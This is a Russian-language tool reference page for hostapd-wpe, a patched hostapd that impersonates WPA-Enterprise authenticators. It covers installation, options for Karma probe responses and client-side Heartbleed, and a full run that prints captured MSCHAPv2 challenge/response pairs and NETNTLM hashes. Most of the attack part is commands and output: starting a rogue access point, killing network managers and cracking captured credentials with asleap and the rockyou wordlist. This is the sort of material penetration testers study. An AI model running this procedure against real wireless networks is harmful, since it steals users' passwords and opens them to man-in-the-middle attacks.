You are here: Home » Беспроводные атаки » hostapd-wpe

hostapd-wpe

Описание hostapd-wpe

hostapd-wpe — это замена для FreeRADIUS-WPE.

Она реализует IEEE 802.1x атаки выдачи себя за аутентификатора и сервера аутентификации (Authenticator and Authentication Server impersonation attacks) для получения учётных данных клиента, установки связи с клиентом, а также запуск других атак, где они применимы.

hostapd-wpe поддерживает следующие типы EAP для имперсонации (выдачи себя за другого, в данном случае за аутентификатора и серверы аутентификации):

  1. EAP-FAST/MSCHAPv2 (Phase 0)
  2. PEAP/MSCHAPv2
  3. EAP-TTLS/MSCHAPv2
  4. EAP-TTLS/MSCHAP
  5. EAP-TTLS/CHAP
  6. EAP-TTLS/PAP

После того, как имперсонация идёт полным ходом, hostapd-wpe будет возвращать сообщение EAP-Success, что должно убедить клиентов, что они подключились к их легитимному аутентификатору.

Для клиентов 802.11, hostapd-wpe также реализует безвозмездные зондовые ответы в стиле Karma.

hostapd-wpe также реализует атаки CVE-2014-0160 (Heartbleed) в отношении уязвимых клиентов.

hostapd-wpe записывает все данные в стандартный вывод (stdout) и hostapd-wpe.log

Домашняя страница: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/hostapd-wpe

Автор: Thomas d’Otreppe

Лицензия: BSD

Справка по hostapd-wpe

использование:

hostapd-wpe [-hdBKtvskc] [-P ] [-e <файл энтропии>] \
         [-g <глобальный контр_интерфейс>] [-G <группа>]\
         [-i <разделённый запятой список имён интерфейсов>]\
         <файл(ы) конфигурации>
опции:
   -h   показать справку
   -d   показывать больше отладочных сообщений (-dd чтобы ещё больше)
   -B   запустить демон в фоне
   -e   файл энтропии
   -g   путь до глобального контрольного интерфейса
   -G   группа для контрольных интерфейсов
   -P   PID файл
   -K   включить данные ключа в отладочных сообщениях
   -i   список имён интерфейсов для использования
   -S   синхронно запустить все интерфейсы
   -t   включить временные метки в некоторые отладочные сообщения
   -v   показать версию hostapd

 Опции WPE -------------------
       (запись учётных данных всегда включён)
   -s   Возвращать Success (успех) где возможно
   -k   Режим Карма (Karma) (Отвечать на все зонды)
   -c   Режим Купидон (Cupid) (Атака Heartbleed на клиентов)

Руководство по hostapd-wpe

Страница man отсутствует.

Быстрый запуск

После применения патча hostapd-wpe.patch, будет создан hostapd-wpe.conf в /path/to/build/hostapd/hostapd-wpe.conf. Смотрите этот файл для получения дополнительной информации. Обратите внимание, что также будет создан /path/to/build/hostapd/hostapd-wpe.eap_users, hostapd-wpe зависит от него.

Базовое использование:

hostapd-wpe hostapd-wpe.conf

Учётные данные будут отображаться на экране и сохраняться в hostapd-wpe.log

Дополнительные WPE опции командной строки:

-s  Возвращает сообщения EAP-Success после сбора учётных данных
-k  Беспричинные зондирующие ответы (Режим Карма) 
-c  Пытаться эксплуатировать CVE-2014-0160 (Режим купидон)

Запуск

После установки вы можете запустить hostapd. Этот патч создаст новый hostapd-wpe.conf, который вам, вероятно, потребуется изменить, чтобы заставить его работать для вашей атаки. Когда готово, просто запустите

hostapd /etc/hostapd-wpe/hostapd-wpe.conf

Смотрите в выводе имя-пользователя/вызов/ответ. Они будут там и в файле hostapd-wpe.log в директории, где вы запустили hostapd. Например, здесь учётный данные EAP-FAST Phase 0 из stdout:

username: jdslfkjs
challenge: bc:87:6c:48:37:d3:92:6e
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

и, как всегда, мы скармливаем их asleap для взлома:

asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist 
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
hash bytes:        b1ca
NT hash:           e614b958df9df49ec094b8730f0bb1ca
password:          bradtest

В качестве альтернативы, учётные данные MSCHAPv2 выводятся в формате john the rippers NETNTLM.

Решение проблем

OpenSSL: tls_global_ca_cert - Failed to load root certificates error:02001002:system library:fopen:No such file or directory

Сертификаты не созданы. Следуйте описанной ниже процедуре по их созданию.

nl80211 driver initialization failed.

Одной из возможных причин является то, что другой процесс использует этот интерфейс. Запуск

sudo airmon-ng check kill

исправляет эту ошибку (программа закроет любой сетевой менеджер и сетевые соединения).

EAP-Success

Определённые типы EAP не требуют самого сервера аутентификации, им достаточно проверки отправленных клиентом учётных данных. Поскольку мы играемся с сервером аутентификации, это означает, что мы с лёгкостью просто отправляем клиенту сообщения EAP-Success независимо от того, что они нам отправили. Клиент доволен, поскольку он подключён, но, к сожалению для них, не знают, что они подключены к не одобренному аутентификатору.

С этого места атакующий может поднять dhcp сервер и дать клиенту IP адрес, а затем делать всё что угодно (перенаправлять DNS, запускать, атаки, MiTM и т. д.).

MSCHAPv2 защищает простив этого, он требует от сервера доказать знание пароля, большинство просителей придерживаются этой политики, но на всякий случай мы всё равно возвращаем EAP-Success.

Зонды в стиле Карма

Эта функция просто ждёт клиента, отправляющего направленный зонд, когда он это делает, она предполагает, что SSID и отвечает клиенту. Только для клиентов 802.11.

Замечания по MSCHAPv2

Microsoft предлагает что-то под названием "Computer Based Authentication". Когда компьютер присоединяется к домену, ему назначается пароль. Этот пароль сохраняется в системе и в active directory. Мы можем собрать MSCHAPv2 ответ с этих систем, но понадобиться вся жизнь, чтобы его взломать. Конечно если нужен не просто хеш, а действительный пароль 🙂

Ещё одна вещь, которую стоит упомянуть, если клиент возвращает все нули, он не присоединился к домену.

Тестирование Heartbleed

Если вы работаете на Ubuntu и хотите протестировать Heartbleed вам понадобиться откатиться до уязвимой версии OpenSSL. Это может быть сделано следующим образом:

wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/openssl_1.0.1-4ubuntu5.11_i386.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-dev_1.0.1-4ubuntu5.11_i386.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-doc_1.0.1-4ubuntu5.11_all.deb
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb
sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb 
sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \
libssl-dev_1.0.1-4ubuntu5.11_i386.deb \
libssl-doc_1.0.1-4ubuntu5.11_all.deb \
openssl_1.0.1-4ubuntu5.11_i386.deb

Затем используйте wpa_supplicant для подключения к hostapd-wpe -c

Примеры запуска hostapd-wpe

Настройте свойства ТД отредактировав /etc/hostapd-wpe/hostapd-wpe.conf

sudo nano /etc/hostapd-wpe/hostapd-wpe.conf

Убейте network-manager используя airmon-ng

sudo airmon-ng check kill

Запустите hostapd-wpe. Появиться беспроводная ТД. Пароли подключающихся и аутентифицирующихся на этой сети пользователей будут напечатаны в консоли.

sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf
Using interface wlan0 with hwaddr c4:e9:84:17:ff:c8 and ssid "hostapd-wpe"
wlan0: interface state UNINITIALIZED>ENABLED
wlan0: AP-ENABLED
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: authenticated
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED ac:fd:ec:78:72:bd
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

mschapv2: Sat Nov 12 16:04:03 2016
username: me
challenge: 8e:0e:9d:0b:5a:3f:f5:23
response: 34:f8:42:4d:16:c7:2d:69:cc:38:10:d4:cf:71:f7:83:37:68:d8:8a:e9:86:f2:67
jtr NETNTLM: me:$NETNTLM$8e0e9d0b5a3ff523$34f8424d16c72d69cc3810d4cf71f7833768d88ae986f267

wlan0: CTRL-EVENT-EAP-FAILURE ac:fd:ec:78:72:bd
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: disassociated
wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: deauthenticated due to local deauth request
wlan0: AP-DISABLED
nl80211: deinit ifname=wlan0 disabled_11b_rates=0
root@kali:~#

Как только вызов и ответ получены, взломайте их используя asleap вместе с файлом словарём паролей.

sudo zcat /usr/share/wordlists/rockyou.txt.gz | asleap -C 8e:0e:9d:0b:5a:3f:f5:23 -R 34:f8:42:4d:16:c7:2d:69:cc:38:10:d4:cf:71:f7:83:37:68:d8:8a:e9:86:f2:67 -W -
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using STDIN for words.
hash bytes: 586c
NT hash: 8846f7eaee8fb117ad06bdd830b7586c
password: password

Установка hostapd-wpe

Установка в Kali Linux

sudo apt update
sudo apt install hostapd-wpe

Установка в BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S hostapd-wpe

Установка в Debian, Ubuntu, Linux Mint и другие дистрибутивы на основе Debian

Установка зависимостей:

sudo apt-get install libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev

Основная часть установки:

wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-wpe.patch
wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz
tar -zxf hostapd-2.6.tar.gz
cd hostapd-2.6
patch -p1 < ../hostapd-wpe.patch
cd hostapd

Далее:

make
sudo make install
sudo make wpe

Создание сертификатов

cd /etc/hostapd-wpe/certs
sudo ./bootstrap
sudo make install

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты hostapd-wpe

hostapd-wpe

Инструкции по hostapd-wpe

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: